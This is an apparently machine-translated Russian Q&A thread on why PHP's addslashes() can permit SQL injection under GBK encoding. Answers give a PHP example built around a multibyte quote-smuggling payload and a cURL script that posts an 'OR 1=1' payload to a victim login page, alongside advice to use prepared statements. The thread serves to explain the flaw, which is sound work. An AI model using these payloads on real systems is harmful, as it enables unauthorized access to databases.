В PHP я знаю, что mysql_real_escape
гораздо безопаснее, чем при использовании addslashes
.
Тем не менее, я не мог найти пример ситуации, когда addslashes
допускает инъекцию SQL.
Может ли кто-нибудь привести некоторые примеры?
В PHP я знаю, что mysql_real_escape
гораздо безопаснее, чем при использовании addslashes
.
Тем не менее, я не мог найти пример ситуации, когда addslashes
допускает инъекцию SQL.
Может ли кто-нибудь привести некоторые примеры?
Ну, вот статья, которую вы хотите.
В основном, как работает атака, получается, что addslashes()
помещает обратную косую черту в середине многобайтового символа, так что обратная косая черта теряет смысл, будучи частью допустимой многобайтовой последовательности.
Общая оговорка из статьи:
Этот тип атаки возможен с любой кодировкой символов, где существует допустимый многобайтовый символ, который заканчивается на
0x5c
, потому чтоaddslashes()
можно обмануть в создании допустимого многобайтового символа вместо того, чтобы ускользнуть от следующей котировки. UTF-8 не подходит это описание.
Крис Шифлетт ясно объясняет с приведенным ниже примером. Это будет работать, если вы попробуете его при использовании GBK-кодирования в своей базе данных. Даже я попробовал это, это доказывает, что есть шансы на внедрение sql, хотя они очень малы, но кто-то с хорошими знаниями и возможностями может легко впрыснуть. Вот пример...
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
Хотя использование addlashes() или magic_quotes_gpc обычно считается несколько безопасным, использование GBK сделает их почти бесполезными. Следующий PHP cURL script сможет использовать инъекцию, я надеюсь, что это поможет вам немного больше понять:
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
В качестве дополнения для читателей ответов здесь: Эта ошибка MySQL уже исправлена:)
Кроме того, всегда полезно использовать подготовленные инструкции. Это самый беспроигрышный способ, с помощью которого можно запускать запросы (и, в некоторых случаях, наиболее эффективные). И это спасло бы вас от этого недостатка.
mysql_real_escape_string() по сравнению с подготовленными отчетами четко объясняет mysql_real_escape_string() не на 100% безопаснее.
используя mysql_set_charset ('GBK'), чтобы заменить mysql_query ( "SET CHARACTER SET" GBK "), mysql_real_escape_string() может быть на 100% безопасным.